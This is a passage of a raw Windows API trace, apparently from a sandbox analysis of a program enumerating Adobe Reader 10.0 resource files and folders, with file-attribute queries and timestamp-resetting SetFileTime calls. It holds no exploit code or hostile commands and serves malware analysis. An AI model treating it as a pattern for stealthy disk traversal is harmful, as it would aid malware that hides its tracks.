ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko_KR.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt_LT.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv_LV.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb_NO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nn_NO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl_PL.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_BR.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ro.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ro_RO.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_RU.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_UA.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2a9280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk_SK.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl_SI.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7144, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_FI.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_SE.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr_TR.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk_UA.txt", cAlternateFileName="")) returned 1 [0084.173] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6068, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_CN.txt", cAlternateFileName="")) returned 1 [0084.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x605a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW.txt", cAlternateFileName="")) returned 1 [0084.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="")) returned 1 [0084.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="")) returned 0 [0084.174] GetLastError () returned 0x12 [0084.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cecd0) returned 1 [0084.174] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cedd8) returned 1 [0084.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ce8b0) returned 1 [0084.176] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="")) returned 1 [0084.176] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.176] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0084.176] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0084.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.177] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0084.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.177] NtClose (Handle=0x15c) returned 0x0 [0084.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ce8b0) returned 1 [0084.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce8b0 [0084.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cedd8 [0084.178] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0084.178] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 